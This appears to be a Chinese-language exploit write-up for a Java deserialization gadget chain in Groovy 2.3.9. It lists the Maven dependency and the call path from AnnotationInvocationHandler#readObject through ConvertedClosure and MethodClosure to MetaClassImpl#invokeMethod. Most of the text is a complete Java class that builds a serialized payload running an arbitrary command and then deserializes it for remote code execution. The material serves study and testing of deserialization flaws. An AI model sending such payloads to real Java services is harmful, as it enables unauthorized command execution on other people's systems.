依赖
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.3.9</version>
</dependency>
Gadget
/*
* Gadget:
* AnnotationInvocationHandler#readObject
* ConversionHandler#invoke
* ConvertedClosure#invokeCustom
* Closure#call
* MetaClassImpl#invokeMethod
* MetaClassImpl#invokeMethod
* */
创建代理对象并把代理对象设置到 AnnotationInvocationHandler.memberValues
属性中,这时就可以通过 AnnotationInvocationHandler#readObject
调用到任意类的 invoke
方法
这里把属性值设置为 ConvertedClosure
,调用其父类的 ConversionHandler#invoke
方法,方法逻辑中调用 ConvertedClosure#invokeCustom
方法
通过构造可以调用 MethodClosure#call
方法,调用其父类的 Closure#call
方法
getMetaClass()
方法返回的是 MetaClassImpl
对象,那么这里调用 MetaClassImpl.invokeMethod
MetaClassImpl.invokeMethod
方法存在动态方法调用,构造一下便可 RCE
public class Groovy01 {
public static byte[] getSerializeData() throws Exception{
MethodClosure methodClosure = new MethodClosure(new String(ParseArgs.cmd),"execute");
ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure,"entrySet");
Map mapProxy = (Map) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Map.class}, convertedClosure);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(new Class[]{Class.class, Map.class});
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);
byte[] bytes = SerWithUnSer.serialize(invocationHandler);
return bytes;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SerWithUnSer.unSerialize(bytes);
}
}